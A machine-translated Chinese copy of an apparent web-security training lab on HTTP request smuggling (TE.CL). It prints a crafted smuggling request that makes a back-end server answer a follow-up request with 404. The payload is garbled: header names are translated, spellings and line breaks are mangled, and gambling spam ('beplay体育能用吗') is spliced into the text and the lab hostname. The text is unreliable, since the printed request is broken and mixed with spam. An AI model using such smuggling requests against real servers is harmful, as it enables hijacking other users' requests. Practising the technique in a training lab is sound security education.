实验室：HTTP请求走私，通过差分响应确认TE.CL漏洞

从业者

此实验室涉及前端和后端服务器，后端服务器不支持Chunked Encoding。

要解决实验室，以后端服务器的方式窃取请求，以便后续请求/（Web根beplay体育能用吗）触发404未找到响应。

提示

手动修复请求走私攻击的长度字段可能很棘手。我们的http请求走私者Burp Extension旨在帮助。您可以通过BAPP商店安装它。

访问实验室

解决方案

在Burp套件中，转到转发器菜单并确保未选中“更新内容长度”选项。

使用Burp Repeater，发出以下要求两次：

发布/ http / 1.1主机：your -lab-id.web-beplay体育能用吗security-academy.net内容类型：应用程序/ x-www-form-ullencoded content-length：4传输编码：chunked 5e post / 404 http / 1.1内容类型：应用程序/ X-WWM-Form-Urlencoded Content-Length：15 x = 1 0

第二个请求应该接收HTTP 404响应。